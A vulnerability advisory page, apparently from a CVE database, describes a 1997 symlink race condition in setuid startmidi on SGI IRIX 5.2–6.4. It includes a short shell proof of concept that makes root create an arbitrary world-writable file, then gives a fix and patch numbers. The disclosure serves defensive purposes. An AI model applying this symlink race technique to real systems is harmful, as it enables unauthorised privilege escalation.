IRIX startmidi Vulnerabilty

BID:469

Info

IRIX startmidi Vulnerabilty

Bugtraq ID: 469
Class: Race Condition Error
CVE:
Remote: No
Local: Yes
Published: Feb 09 1997 12:00AM
Updated: Feb 09 1997 12:00AM
Credit: This vulnerability was found by David Hedley <[email protected]>, and reported to the Bugtraq mailing list on February 9, 1997.
Vulnerable: SGI IRIX 6.4
SGI IRIX 6.3
SGI IRIX 6.2
SGI IRIX 6.1
SGI IRIX 6.0.1 XFS
SGI IRIX 6.0.1
SGI IRIX 6.0
SGI IRIX 5.3
SGI IRIX 5.2
Not Vulnerable:

Exploit / POC

IRIX startmidi Vulnerabilty

% umask 0
% ln -s /blardyblar /tmp/.midipid
% startmidi -d /dev/ttyd1
% ls -l /blardyblar
-rw-rw-rw- 1 root pgrad 0 Feb 9 17:46 /blardyblar
% stopmidi -d /dev/ttyd1
%

Solution / Fix

IRIX startmidi Vulnerabilty

Solution:
A suitable short term solution is to remove the setuid bit from startmidi:
chmod -s /usr/sbin/startmidi

Patches are available from SGI at http://support.sgi.com
IRIX 5.3: 2563
IRIX 6.2: 2564
IRIX 6.3: 2565
IRIX 6.4: 2291

References

IRIX startmidi Vulnerabilty

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report